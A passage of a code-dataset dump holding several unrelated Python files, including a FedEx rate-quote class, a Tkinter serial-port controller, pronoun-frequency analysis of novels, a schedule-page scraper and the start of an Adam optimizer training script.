taxonomic lineage\n\t\t\t\tlineage2ranks = ncbi.get_rank(names) #Gets the taxonomic order (superkingdom, phylum, etc...) of each component of the taxonomic lineage\n\t\t\t\tno_rank=[k for k,v in lineage2ranks.items() if v== 'no rank'] #Makes a list of the components of the lineage without a defined taxonomic order (the \"no ranks\")\n\t\t\t\tsub_species_taxid=lineage.pop() #Saves the sub-species taxid, as it does not have a formal taxonomic category yet \n\t\t\t\tlineage_without_no_rank = [m for m in lineage if m not in no_rank] #Deletes the lineage components that do not have a defined taxonomic order\n\t\t\t\tlineage_without_no_rank.append(sub_species_taxid) #Re-inserts the sub-species taxid\n\t\t\t\ttaxonomic_lineage = (\",\".join([names[taxid] for taxid in lineage_without_no_rank])) #Makes a string of the translated taxonomic lineage of the original taxid (without \"no ranks\" but including sub-species)\n\t\t\t\tunique_taxonomic_elements.update({taxid: taxonomic_lineage}) \n\t\t\t\t\n\t\t\t\tline_to_be_inserted = \",\".join([str(all_coverage[n_contig]),str(all_GC[n_contig]),taxonomic_lineage])\n\t\t\t\tfinal_line = prov_line.rstrip() + \",\" + line_to_be_inserted\n\t\t\t\tprint (final_line)\n\tf.close()\n\tff.close() #This function makes the taxonomic assignment of each \n\n\t\n\t#BODY\n\t\nif calculate_coverage == 1:\n\tall_GC=GC_count(filepath)\n\tall_coverage=coverage(filepath, total_length)\n\tTaxid_GC_cov_print(all_GC, all_coverage)\nelse:\n\tall_GC=GC_count(filepath)\n\tTaxid_GC_print(all_GC)\n\n\n\n","sub_path":"Metagenome_Analysis/Metagenome_Info_Table/calculations.py","file_name":"calculations.py","file_ext":"py","file_size_in_byte":8259,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"653521394","text":"# In routing.py\nfrom channels.routing import route\nfrom chtest.controllers.consumers import ws_add, ws_message, ws_disconnect\n\nchannel_routing = [\n #route(\"http.request\", \"chtest.controllers.consumers.http_consumer\"),\n # route(\"websocket.receive\", ws_message,path=r\"^/firstConnect\"),\n route(\"websocket.connect\", ws_add),\n route(\"websocket.receive\", ws_message),\n route(\"websocket.disconnect\", ws_disconnect),\n]\n","sub_path":"channelsTest/channelsTest/routing.py","file_name":"routing.py","file_ext":"py","file_size_in_byte":426,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"20491928","text":"from fedex.services.rate_service import FedexRateServiceRequest\n\nfrom app.common.utils import Utils\nfrom app.models.courriers.courrier import Courrier\nfrom app.models.courriers.errors import CourrierErrors\nfrom app.models.courriers.estafeta.estafeta import Estafeta\nfrom app.models.courriers.fedex.constants import CONFIG_OBJ, MAX_WEIGHT\nfrom app.models.packages.package import Package\n\n\nclass Fedex(Courrier):\n max_weight = MAX_WEIGHT\n\n @Utils.validate_keys\n def find_prices(self, package: Package) -> dict:\n \"\"\"\n given a list or str of courrier types it will get the prices for each one\n :param package: Package detail\n :return: dict for each service to calculate with the price as value\n \"\"\"\n service_prices = dict()\n\n # This is the object that will be handling our request.\n rate = FedexRateServiceRequest(CONFIG_OBJ)\n\n # This is very generalized, top-level information.\n # REGULAR_PICKUP, REQUEST_COURIER, DROP_BOX, BUSINESS_SERVICE_CENTER or STATION\n rate.RequestedShipment.DropoffType = 'REGULAR_PICKUP'\n\n # See page 355 in WS_ShipService.pdf for a full list. Here are the common ones:\n # STANDARD_OVERNIGHT, PRIORITY_OVERNIGHT, FEDEX_GROUND, FEDEX_EXPRESS_SAVER\n # To receive rates for multiple ServiceTypes set to None.\n rate.RequestedShipment.ServiceType = None\n\n # What kind of package this will be shipped in.\n # FEDEX_BOX, FEDEX_PAK, FEDEX_TUBE, YOUR_PACKAGING\n rate.RequestedShipment.PackagingType = 'YOUR_PACKAGING'\n\n # Shipper's address\n rate.RequestedShipment.Shipper.Address.PostalCode = package.origin_zipcode\n rate.RequestedShipment.Shipper.Address.CountryCode = 'MX'\n\n # Recipient address\n rate.RequestedShipment.Recipient.Address.PostalCode = package.destiny_zipcode\n rate.RequestedShipment.Recipient.Address.CountryCode = 'MX'\n\n # This is needed to ensure an accurate rate quote with the response.\n # rate_request.RequestedShipment.Recipient.Address.Residential = True\n # include estimated duties and taxes in rate quote, can be ALL or NONE\n rate.RequestedShipment.EdtRequestType = 'NONE'\n\n # Who pays for the rate_request?\n # RECIPIENT, SENDER or THIRD_PARTY\n rate.RequestedShipment.ShippingChargesPayment.PaymentType = 'SENDER'\n\n # WSDL to manage the weight property\n package1_weight = rate.create_wsdl_object_of_type('Weight')\n # Weight, in KG.\n package1_weight.Value = package.weight\n package1_weight.Units = \"KG\"\n\n # WSDL to manage the dimensions properties\n # Optional but recommended if your package type is YOUR_PACKAGING.\n package1_dimensions = rate.create_wsdl_object_of_type('Dimensions')\n # Height, Width, and Length, in CM.\n package1_dimensions.Height = int(package.height)\n package1_dimensions.Width = int(package.width)\n package1_dimensions.Length = int(package.length)\n package1_dimensions.Units = \"CM\"\n\n package1 = rate.create_wsdl_object_of_type('RequestedPackageLineItem')\n package1.Weight = package1_weight\n package1.Dimensions = package1_dimensions\n\n # can be other values this is probably the most common\n package1.PhysicalPackaging = 'BOX'\n\n # Required, but according to FedEx docs:\n # \"Used only with PACKAGE_GROUPS, as a count of packages within a\n # group of identical packages\". In practice you can use this to get rates\n # for a shipment with multiple packages of an identical package size/weight\n # on rate request without creating multiple RequestedPackageLineItem elements.\n # You can OPTIONALLY specify a package group:\n # package1.GroupNumber = 0 # default is 0\n # The result will be found in RatedPackageDetail, with specified GroupNumber.\n package1.GroupPackageCount = 1\n\n # This adds the RequestedPackageLineItem WSDL object to the rate_request. It\n # increments the package count and total weight of the rate_request for you.\n rate.add_package(package1)\n\n # Fires off the request, sets the 'response' attribute on the object.\n\n # This will convert the response to a python dict object. To\n # make it easier to work with.\n # from fedex.tools.conversion import basic_sobject_to_dict\n # print(basic_sobject_to_dict(rate.response))\n\n # This will dump the response data dict to json.\n # from fedex.tools.conversion import sobject_to_json\n # result = sobject_to_json(rate.response)\n # print(result)\n\n # RateReplyDetails can contain rates for multiple ServiceTypes if ServiceType was set to None\n try:\n rate.send_request()\n # print(rate.response)\n for service in rate.response.RateReplyDetails:\n for detail in service.RatedShipmentDetails:\n for surcharge in detail.ShipmentRateDetail.Surcharges:\n if surcharge.SurchargeType == 'OUT_OF_DELIVERY_AREA':\n pass\n\n for rate_detail in service.RatedShipmentDetails:\n if service.ServiceType == 'STANDARD_OVERNIGHT':\n service.ServiceType = 'FEDEX_STANDARD_OVERNIGHT'\n service_prices[service.ServiceType] =\\\n rate_detail.ShipmentRateDetail.TotalNetChargeWithDutiesAndTaxes.Amount\n except AttributeError:\n raise CourrierErrors(\"Servicio no disponible segun los datos proporcionados\")\n except Exception as e:\n raise CourrierErrors(str(e))\n # raise CourrierErrors(\"FDX No respondió\")\n\n\n return service_prices\n\n def find_delivery_day(self, package: Package) -> str:\n \"\"\"\n given the courrier, depending on each one it will calculate the day estimated of completed delivery\n :return: str with datetime data\n \"\"\"\n estafeta = Estafeta(self)\n return estafeta.find_delivery_day(package)\n\n def set_type(self) -> None:\n \"\"\"sets the type of the courrier if it wasn't set at __init__\"\"\"\n pass\n","sub_path":"app/models/courriers/fedex/Fedex.py","file_name":"Fedex.py","file_ext":"py","file_size_in_byte":6218,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"513545346","text":"class Solution(object):\n def searchMatrix(self, matrix, target):\n \"\"\"\n :type matrix: List[List[int]]\n :type target: int\n :rtype: bool\n \"\"\"\n row = len(matrix)\n if row == 0 :\n return False\n\n col = len(matrix[0])\n if col == 0:\n return False\n\n i = 0\n j = col - 1\n while True:\n ele = matrix[i][j]\n if ele == target:\n return True\n elif ele < target:\n i += 1\n if i == row:\n return False\n else:\n j -= 1\n if j == -1:\n return False\n\nif __name__ == '__main__':\n matrix = [\n [1, 3, 5, 7],\n [10, 11, 16, 20],\n [23, 30, 34, 50]\n]\n res = Solution().searchMatrix(matrix, 10)\n print(res)","sub_path":"leetcode/51-100/_74_searchMatrix.py","file_name":"_74_searchMatrix.py","file_ext":"py","file_size_in_byte":852,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"144011178","text":"from tkinter import *\nimport tkinter.ttk as ttk\nimport serial\n\nwindow = Tk()\nwindow.geometry('480x300')\nwindow.title(\"Программа управления\")\nwindow.resizable(False, False)\n\ntxtX = 0\ntxtY = 1\n\n\ndef mhome():\n outText.insert(END, 'Home\\n')\n\n\ndef mleft():\n outText.insert(END, 'Left_'+steps.get()+'\\n')\n\n\ndef mright():\n outText.insert(END, 'Right_'+steps.get()+'\\n')\n\n\ndef mdown():\n outText.insert(END, 'Down_'+steps.get()+'\\n')\n\n\ndef mup():\n outText.insert(END, 'Up_'+steps.get()+'\\n')\n\n\ndef serial_ports():\n if sys.platform.startswith('win'):\n ports = ['COM%s' % (i + 1) for i in range(256)]\n elif sys.platform.startswith('linux') or sys.platform.startswith('cygwin'):\n # this excludes your current terminal \"/dev/tty\"\n ports = glob.glob('/dev/tty[A-Za-z]*')\n elif sys.platform.startswith('darwin'):\n ports = glob.glob('/dev/tty.*')\n else:\n raise EnvironmentError('Unsupported platform')\n\n result = []\n for port in ports:\n try:\n s = serial.Serial(port)\n s.close()\n result.append(port)\n except (OSError, serial.SerialException):\n pass\n return result\n\n\n# for variables\nsteps = StringVar()\n\n\n# first frame with command panel\nframeCmm = ttk.LabelFrame(window, text=\"Main\")\nprt_lb = Label(frameCmm, text=\"Set port\")\nport_Comb = ttk.Combobox(frameCmm, values=serial_ports())\nsep1 = ttk.Separator(frameCmm, orient=HORIZONTAL)\nbtnUp = Button(frameCmm, text=\"Up\", command=mup)\nbtnHome = Button(frameCmm, text=\"Home\", command=mhome)\nbtnDown = Button(frameCmm, text=\"Down\", command=mdown)\nbtnLeft = Button(frameCmm, text=\"Left\", command=mleft)\nbtnRight = Button(frameCmm, text=\"Right\", command=mright)\nsep2 = ttk.Separator(frameCmm, orient=HORIZONTAL)\nstpLb = Label(frameCmm, text=\"Steps\")\nstpInp = Entry(frameCmm, width=4, textvariable=steps)\nprt_lb.grid(row=0, column=0, columnspan=3)\nport_Comb.grid(row=1, column=0, columnspan=3)\nsep1.grid(row=2, column=0, columnspan=3)\nbtnUp.grid(row=3, column=1)\nbtnLeft.grid(row=4, column=0)\nbtnHome.grid(row=4, column=1)\nbtnRight.grid(row=4, column=2)\nbtnDown.grid(row=5, column=1)\nsep2.grid(row=6, column=0, columnspan=3)\nstpLb.grid(row=7, column=0, columnspan=2)\nstpInp.grid(row=7, column=2)\nframeCmm.grid(row=0, column=0, sticky=\"n\")\n\n# second panel with\ntextFrm = ttk.LabelFrame(window, text=\"Commands\")\noutText = Text(textFrm, height=15, width=40)\noutText.pack()\nsndBtn = Button(textFrm, text=\"Send commands\")\nsndBtn.pack()\ntextFrm.grid(row=0, column=1)\n\nwindow.mainloop()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2554,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"196003790","text":"from gender_novels.corpus import Corpus\nfrom gender_novels.analysis.analysis import get_comparative_word_freq\nimport numpy as np\n\n\ndef books_pronoun_freq(corp):\n #TODO: add doctests\n '''\n Counts male and female pronouns for every book and finds their relative frequencies per book\n Outputs dictionary mapping novel object to the relative frequency\n of female pronouns in that book\n\n :param: Corpus object\n :return: dictionary with data organized by groups\n '''\n\n relative_freq_male = {}\n relative_freq_female = {}\n\n for book in corp.novels:\n he = book.get_word_freq('he')\n him = book.get_word_freq('him')\n his = book.get_word_freq('his')\n male = he + him + his\n\n she = book.get_word_freq('she')\n her = book.get_word_freq('her')\n hers = book.get_word_freq('hers')\n female = she + her + hers\n\n temp_dict = {'male': male, 'female': female}\n temp_dict = get_comparative_word_freq(temp_dict)\n\n relative_freq_male[book] = temp_dict['male']\n relative_freq_female[book] = temp_dict['female']\n\n return (relative_freq_female)\n\ndef subject_vs_object_pronoun_freqs(corp):\n '''\n Takes in a Corpus of novels\n Returns a tuple of two dictionaries, one male and female\n Each dictionary maps each Novel in the corpus to the proportion of the pronouns\n of the specified gender in that novel that are subject pronouns\n\n #TODO: add doctests\n\n :param corp: Corpus\n :return: tuple of two dictionaries (male, female)\n '''\n\n relative_freq_male_subject = {}\n relative_freq_female_subject = {}\n relative_freq_male_object = {}\n relative_freq_female_object = {}\n\n for book in corp.novels:\n he = book.get_word_freq('he')\n him = book.get_word_freq('him')\n\n she = book.get_word_freq('she')\n her = book.get_word_freq('her')\n\n temp_dict_male = {'subject': he, 'object': him}\n temp_dict_female = {'subject': she, 'object': her}\n temp_dict_male = get_comparative_word_freq(temp_dict_male)\n temp_dict_female = get_comparative_word_freq(temp_dict_female)\n\n relative_freq_male_subject[book] = temp_dict_male['subject']\n relative_freq_female_subject[book] = temp_dict_female['subject']\n relative_freq_male_object[book] = temp_dict_male['object']\n relative_freq_female_object[book] = temp_dict_female['object']\n\n result_tuple = (relative_freq_male_subject, relative_freq_female_subject)\n\n return result_tuple\n\ndef subject_pronouns_gender_comparison(corp, subject_gender):\n '''\n Takes in a Corpus of novels and a gender.\n The gender determines whether the male frequency or female frequency will\n be returned\n Returns a dictionary of each novel in the Corpus mapped to the portion of\n the subject pronouns in the book that are of the specified gender\n :param corp: Corpus\n :param subject_gender: string 'male' or string 'female'\n :return: dictionary\n '''\n\n if not(subject_gender == 'male' or subject_gender == 'female'):\n raise ValueError('subject_gender must be \\'male\\' or \\'female\\'')\n\n relative_freq_female_sub = {}\n relative_freq_male_sub = {}\n\n for book in corp.novels:\n he = book.get_word_freq('he')\n she = book.get_word_freq('she')\n\n relative_freq_female_sub[book] = (she)/(he+she)\n relative_freq_male_sub[book] = (he)/(he+she)\n\n if subject_gender == 'male':\n return relative_freq_male_sub\n elif subject_gender == 'female':\n return relative_freq_female_sub\n else:\n raise ValueError('subject_gender must be \\'male\\' or \\'female\\'')\n\ndef dict_to_list(d):\n '''\n Takes in a dictionary and returns a list of the values in the dictionary\n If there are repeats in the values, there will be repeats in the list\n :param d: dictionary\n :return: list of values in the dictionary\n\n >>> d = {'a': 1, 'b': 'bee', 'c': 65}\n >>> dict_to_list(d)\n [1, 'bee', 65]\n\n >>> d2 = {}\n >>> dict_to_list(d2)\n []\n '''\n L = []\n for key, value in d.items():\n L.append(value)\n return L\n\ndef freq_by_author_gender(d):\n '''\n Takes in a dictionary of novel objects mapped to relative frequencies\n (output of above function)\n Returns a dictionary with frequencies binned by author gender into lists\n List name is mapped to the list of frequencies\n\n list names key:\n male_author - male authors\n female_author- female authors\n\n :param d: dictionary\n :return: dictionary\n\n >>> from gender_novels import novel\n >>> novel_metadata = {'author': 'Brontë, Anne', 'title': 'The Tenant of Wildfell Hall',\n ... 'corpus_name': 'sample_novels', 'date': '1848', 'author_gender':'female',\n ... 'filename': 'bronte_wildfell.txt'}\n >>> bronte = novel.Novel(novel_metadata)\n >>> novel_metadata = {'author': 'Adams, William Taylor', 'title': 'Fighting for the Right',\n ... 'corpus_name': 'sample_novels', 'date': '1892', 'author_gender':'male',\n ... 'filename': 'adams_fighting.txt'}\n >>> fighting = novel.Novel(novel_metadata)\n >>> d = {}\n >>> d[fighting] = 0.3\n >>> d[bronte] = 0.6\n >>> freq_by_author_gender(d)\n {'male_author': [0.3], 'female_author': [0.6]}\n '''\n\n male_author = []\n female_author = []\n data = {}\n\n for k, v in d.items():\n if k.author_gender == 'male':\n male_author.append(v)\n\n if k.author_gender == 'female':\n female_author.append(v)\n\n data['male_author'] = male_author\n data['female_author'] = female_author\n\n return data\n\n\ndef freq_by_date(d):\n '''\n Takes in a dictionary of novel objects mapped to relative frequencies\n (output of above function)\n Returns a dictionary with frequencies binned by decades into lists\n List name is mapped to the list of frequencies\n\n list names key:\n date_to_1810 - publication dates before and not including 1810\n date_x_to_y (by decade) - publication dates from x to y\n Example: date_1810_to_1819 - publication dates from 1810 to 1819\n date_1900_on - publication dates in 1900 and onward\n\n :param d: dictionary\n :return: dictionary\n\n >>> from gender_novels import novel\n >>> novel_metadata = {'author': 'Austen, Jane', 'title': 'Persuasion',\n ... 'corpus_name': 'sample_novels', 'date': '1818',\n ... 'filename': 'austen_persuasion.txt'}\n >>> austen = novel.Novel(novel_metadata)\n >>> novel_metadata = {'author': 'Hawthorne, Nathaniel', 'title': 'Scarlet Letter',\n ... 'corpus_name': 'sample_novels', 'date': '1900',\n ... 'filename': 'hawthorne_scarlet.txt'}\n >>> scarlet = novel.Novel(novel_metadata)\n >>> d = {}\n >>> d[scarlet] = 0.5\n >>> d[austen] = 0.3\n >>> freq_by_date(d)\n {'date_to_1810': [], 'date_1810_to_1819': [0.3], 'date_1820_to_1829': [], 'date_1830_to_1839': [], 'date_1840_to_1849': [], 'date_1850_to_1859': [], 'date_1860_to_1869': [], 'date_1870_to_1879': [], 'date_1880_to_1889': [], 'date_1890_to_1899': [], 'date_1900_on': [0.5]}\n '''\n\n date_to_1810 = []\n date_1810_to_1819 = []\n date_1820_to_1829 = []\n date_1830_to_1839 = []\n date_1840_to_1849 = []\n date_1850_to_1859 = []\n date_1860_to_1869 = []\n date_1870_to_1879 = []\n date_1880_to_1889 = []\n date_1890_to_1899 = []\n date_1900_on = []\n\n data = {}\n\n for k, v in d.items():\n if k.date < 1810:\n date_to_1810.append(v)\n elif k.date < 1820:\n date_1810_to_1819.append(v)\n elif k.date < 1830:\n date_1820_to_1829.append(v)\n elif k.date < 1840:\n date_1830_to_1839.append(v)\n elif k.date < 1850:\n date_1840_to_1849.append(v)\n elif k.date < 1860:\n date_1850_to_1859.append(v)\n elif k.date < 1870:\n date_1860_to_1869.append(v)\n elif k.date < 1880:\n date_1870_to_1879.append(v)\n elif k.date < 1890:\n date_1880_to_1889.append(v)\n elif k.date < 1900:\n date_1890_to_1899\n else:\n date_1900_on.append(v)\n\n data['date_to_1810'] = date_to_1810\n data['date_1810_to_1819'] = date_1810_to_1819\n data['date_1820_to_1829'] = date_1820_to_1829\n data['date_1830_to_1839'] = date_1830_to_1839\n data['date_1840_to_1849'] = date_1840_to_1849\n data['date_1850_to_1859'] = date_1850_to_1859\n data['date_1860_to_1869'] = date_1860_to_1869\n data['date_1870_to_1879'] = date_1870_to_1879\n data['date_1880_to_1889'] = date_1880_to_1889\n data['date_1890_to_1899'] = date_1890_to_1899\n data['date_1900_on'] = date_1900_on\n\n return data\n\n\ndef freq_by_location(d):\n '''\n Takes in a dictionary of novel objects mapped to relative frequencies\n (output of above function)\n Returns a dictionary with frequencies binned by publication location into lists\n List name is mapped to the list of frequencies\n\n list names key:\n location_England - published in England\n location_US - published in the US\n location_other - published somewhere other than the US and England\n\n :param d: dictionary\n :return: dictionary\n\n >>> from gender_novels import novel\n >>> novel_metadata = {'author': 'Austen, Jane', 'title': 'Persuasion',\n ... 'corpus_name': 'sample_novels', 'date': '1818',\n ... 'country_publication': 'England', 'filename': 'austen_persuasion.txt'}\n >>> austen = novel.Novel(novel_metadata)\n >>> novel_metadata2 = {'author': 'Hawthorne, Nathaniel', 'title': 'Scarlet Letter',\n ... 'corpus_name': 'sample_novels', 'date': '1900',\n ... 'country_publication': 'United States', 'filename':'hawthorne_scarlet.txt'}\n >>> scarlet = novel.Novel(novel_metadata2)\n >>> d = {}\n >>> d[scarlet] = 0.5\n >>> d[austen] = 0.3\n >>> freq_by_location(d)\n {'location_England': [0.3], 'location_US': [0.5], 'location_other': []}\n '''\n\n location_England = []\n location_US = []\n location_other = []\n\n for k, v in d.items():\n if k.country_publication == 'England':\n location_England.append(v)\n elif k.country_publication == 'United States':\n location_US.append(v)\n else:\n location_other.append(v)\n\n data = {}\n\n data['location_England'] = location_England\n data['location_US'] = location_US\n data['location_other'] = location_other\n\n return data\n\n\ndef get_mean(data_dict):\n '''\n Takes in a dictionary matching some object to lists and returns a dictionary of the\n original keys mapped to the mean of the lists\n\n :param data_dict: dictionary matching some object to lists\n :return: dictionary with original key mapped to an average of the input list\n\n >>> d = {}\n >>> d['fives'] = [5,5,5]\n >>> d['halfway'] = [0,1]\n >>> d['nothing'] = [0]\n >>> get_mean(d)\n {'fives': 5.0, 'halfway': 0.5, 'nothing': 0.0}\n '''\n mean_dict = {}\n for k, v in data_dict.items():\n mean_dict[k] = np.mean(v)\n return mean_dict\n\ndef sort_every_year(frequency_dict):\n '''\n Takes in a dictionary of novels mapped to pronoun frequencies and returns a dictionay of\n years mapped to lists of pronoun frequencies\n\n >>> from gender_novels import novel\n >>> novel_metadata = {'author': 'Austen, Jane', 'title': 'Persuasion',\n ... 'corpus_name': 'sample_novels', 'date': '1818',\n ... 'filename': 'austen_persuasion.txt'}\n >>> austen = novel.Novel(novel_metadata)\n >>> novel_metadata = {'author': 'Hawthorne, Nathaniel', 'title': 'Scarlet Letter',\n ... 'corpus_name': 'sample_novels', 'date': '1900',\n ... 'filename': 'hawthorne_scarlet.txt'}\n >>> scarlet = novel.Novel(novel_metadata)\n >>> d = {}\n >>> d[scarlet] = 0.5\n >>> d[austen] = 0.3\n >>> sorted_years = sort_every_year(d)\n >>> print(sorted_years)\n {1900: [0.5], 1818: [0.3]}\n\n\n :param frequency_dict: dictionary of novels mapped to pronoun frequencies\n :return: dictionary of years mapped to lists of pronoun frequencies\n '''\n every_year_dict = {}\n for key,value in frequency_dict.items():\n frequency_list = [frequency_dict[key]]\n\n if key.date not in every_year_dict.keys():\n every_year_dict[key.date] = frequency_list\n\n elif key.date in every_year_dict.keys():\n every_year_dict[key.date].append(frequency_dict[key])\n\n return every_year_dict\n\n \nif __name__ == '__main__':\n from dh_testers.testRunner import main_test\n main_test()\n","sub_path":"gender_novels/analysis/gender_pronoun_freq_analysis.py","file_name":"gender_pronoun_freq_analysis.py","file_ext":"py","file_size_in_byte":12798,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"474576937","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\nimport datetime\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('prescriptions', '0029_merge'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='favourite',\n name='created_at',\n field=models.DateTimeField(default=datetime.datetime.now),\n ),\n migrations.AddField(\n model_name='favourite',\n name='uses',\n field=models.IntegerField(default=0, blank=True),\n ),\n ]\n","sub_path":"prescript/prescriptions/migrations/0030_auto_20160604_0338.py","file_name":"0030_auto_20160604_0338.py","file_ext":"py","file_size_in_byte":599,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"551282804","text":"import datetime,requests\nfrom bs4 import BeautifulSoup\nimport os\nurl='http://www.xn--c1adoj5aa.xn--p1ai/files/www/hg.htm'#Ссылка на сайт\n\nweek_day={\n\t1:'Пн',\n\t2:'Вт',\n\t3:'Ср',\n\t4:'Чт',\n\t5:'Пт',\n\t6:'Суб',\n\t7:'Вс'\n\t}#Дни недели цыфпы в string# Дни недели из цыфр в букв#Конвертатор дней недели из цифры в буквы\n\n\nRuss_alf=[chr (i) for i in range(ord('А'),ord('я')+1)]#Русский алфавит от А доя Я (включая малые регисты)\n\n\n\ndef to_week():#Получение сегоднешнего дня\n\tdat_week=int(datetime.datetime.today().isoweekday())\n\tdat=datetime.date.today()\n\n\tprint('Дата на ваших часах: '+str(dat)+' '+str(week_day[dat_week]))\n\t\n\ndef get_html(url):#Получение html кода\n\tr=requests.get(url)\n\treturn r.text\n\ndef get_raspis(html):\n\tsoup=BeautifulSoup(html,'lxml')\n\t\n\txz=soup.find('table',class_='inf')\n\t\n\tfas=xz.find_all('tr')\n\tx=0#Пройденная длина\n\tGroup=[]\n\tfor i in fas:\n\t\ts=i.get_text()#Получение текста из всех групп и запись его в списк\n\t\tif x>=1 and x<6:# Добовление нужные строки в списк\t\t\n\t\t\tx+=1\n\t\t\tGroup.append(s)\n\n\t\tif need_group in s:#Как только в нашем списке появится нужная группа начинаем считать количество необходимых строчек \n\t\t\tGroup.append(s)\n\t\t\tx+=1\n\treturn Group #Получение списка всех групп#Получение пар,преподавателей,кабинетов ,всех групп\n\t\t\t\ndef make_good_raspis(bad_raspis):#Преведение начала списка в порядок (Комфортный вид)\n\tstring_bad_raspis=bad_raspis[0]\n\tbad_raspis[0]=bad_raspis[0].replace(need_group+'1',need_group +'\\n1)\t' )# Перенос первого номера пары на новую строку\n\tfor i in range(1,5):# Перебор значений для добавления отступов после номера пары\n\t\tbad_raspis[i]=bad_raspis[i].replace(str(i+1),str(i+1)+')\t',1)#Добовления номера посредством замены номера ,на номер + TAB\n\treturn bad_raspis\n\n\n\tfor i in range (0,5):\n\t\tprint(bad_raspis[i])\n\t\n\ndef srez_kabinet_and_prepod(pred_srez_raspis):#Создает срез кабинетов и преподавателей ,для всех пар на\n\tstring_for_kabinet=['','','','','']#Строка в которй буду хранится все номера кобинетов\n\n\t#string_for_famile=''#Строка где будут хранится все преподователи\n\n\n\tfor i in range(0,5):#Цыкл для перебора мкасимально возможного количества пар\n\t\ttest_digit_kabinty=True#Для проверик информации ,что кабинет найден\n\t\tfor_digit_kabinet='\t\t'#Для сохранения готовой комбинации (Кабинета)\n\t\tkolek_digit_for_kabinet=''#Для сохронения прошлых цифр в строке номер пары\n\t\t\n\t\tstrt_digit=0\n\t\t#Famile=''#Для сбора полных фамилии перед помишение ее в хранилише фамилий(string_for_famile) \n\t\tfor strin_raspis in pred_srez_raspis[i]:#Цыкл перебора всех символов в строке номер пары\n\n\t\t\tif test_digit_kabinty==True:# Если кабинет не найден то ищем\n\t\t\t\t\n\t\t\t\tif strt_digit==3:\n\t\t\t\t\ttest_digit_kabinty=False#Меняем переменную \n\t\t\t\t\tfor_digit_kabinet=''+kolek_digit_for_kabinet\n\n\t\t\t\t\t#string_for_kabinet+=' '+for_digit_kabinet \n\t\t\t\t\tstring_for_kabinet.insert(i,for_digit_kabinet)\n\n\t\t\t\t\t#Famile=''+strin_raspis# Основа для руководителя\n\t\t\t\t\t\n\t\t\t\telif strin_raspis.isdigit():#Проверка является ли strin_raspis цифрой\n\t\t\t\t\tkolek_digit_for_kabinet+=strin_raspis\n\t\t\t\t\tstrt_digit+=1\n\t\t\t\telse :\n\t\t\t\t\tstrt_digit=0\t\t\t\t\t\n\t\t\t\t\tkolek_digit_for_kabinet=''\n\n\n\t\t\t#else:#Поиск руководителя\n\t\t\t\t#Famile+=strin_raspis\n\t\t\t\t#print(Famile)\n\t\t#string_for_famile+=' '+Famile#Перемешение найденого руководителя в глвную строку\n\n\n\tfinal_raspis(string_for_kabinet,pred_srez_raspis)\n\ndef final_raspis(string_kabinet,raspis):#Вывод и разделение кабенетов от преподавателей\n\n\tfor i in range (0,len(string_kabinet)-1):# разделение\n\t\tif string_kabinet[i]=='':\n\t\t\tcontinue\n\t\traspis[i]=raspis[i].replace(string_kabinet[i],'\tКабинет: '+str(string_kabinet[i]+'\t'))\n\n\t\n\tfor i in range (5):#Вывод\n\t\tprint(raspis[i])\n\ndef get_soup_time(html):\n\tsoup=BeautifulSoup(html,'lxml')\n\ttime=soup.find('li',class_='zgr')\n\treturn time.text#Дата на сайте\n\n\ndef main():\n\n\n\t\t\n\thtml=get_html(url)\n\tbad_raspis=get_raspis(html)#Преподы ,пары,кабинеты, но до комфортного вида \n\n\tsrez_kabinet_and_prepod(make_good_raspis(bad_raspis))#Полностью готовый (Комфортный вид)\n\t\t\n\tprint('Дата на сайте: '+get_soup_time(html))\n\t\t\n\n\tto_week()\n\t\n \n\nif __name__=='__main__':\n\twhile True:\n\t\tneed_group=input('Введите группу:\t')\n\t\t\n\t\tif need_group=='':\n\t\t\tneed_group='ИС-17-9'\n\t\tmain()\n\n\t\t\t\n\t\n","sub_path":"Python/ParserRaspis/ParserRaspis.py","file_name":"ParserRaspis.py","file_ext":"py","file_size_in_byte":5476,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"364653423","text":"# RMSProp with momentum VS Adam\n\nimport numpy as np\nfrom sklearn.utils import shuffle\nimport matplotlib.pyplot as plt\nfrom datetime import datetime\nfrom util import get_normalized_data, accuracy, J, T_indicator, predict\nfrom mlp import forward, J_derivative_W1, J_derivative_b1, J_derivative_W0, J_derivative_b0\n\ndef main():\n max_iter = 10\n print_period = 10\n X_train, X_test, t_train, t_test = get_normalized_data()\n T_train = T_indicator(t_train)\n T_test = T_indicator(t_test)\n \n # Dimensionality \n N, D = X_train.shape\n M = 300\n K = 10\n batch_size = 500\n nb_batches = N // batch_size\n print('N:{}\\t batch_size: {}\\t nb_batches: {}\\t D:{}\\t M:{}\\t K:{}'.format(N, batch_size, nb_batches, D, M, K))\n \n # hyperparameters\n reg = 0.01\n lr0= 0.001\n beta1 = 0.9\n beta2 = 0.999\n eps = 1e-8\n print('Hyperparameters: reg:{}\\t lr0:{}\\t beta1:{}\\t beta2:{}\\t eps:{}\\n'.format(reg, lr0, beta1, beta2, eps))\n \n # Weights initialization\n W0_0 = np.random.randn(D, M) / np.sqrt(D)\n b0_0 = np.zeros(M)\n W1_0 = np.random.randn(M, K) / np.sqrt(M)\n b1_0 = np.zeros(K)\n W0 = W0_0.copy()\n b0 = b0_0.copy()\n W1 = W1_0.copy()\n b1 = b1_0.copy()\n # 1st Moment\n mW0 = 0\n mb0 = 0\n mW1 = 0\n mb1 = 0\n # 2nd Moment\n vW0 = 0\n vb0 = 0\n vW1 = 0\n vb1 = 0\n\n # 1. Adam\n t0 = datetime.now()\n J_adam = []\n accuracy_adam = []\n t = 1\n for epoch in range(max_iter):\n for batch_index in range(nb_batches):\n 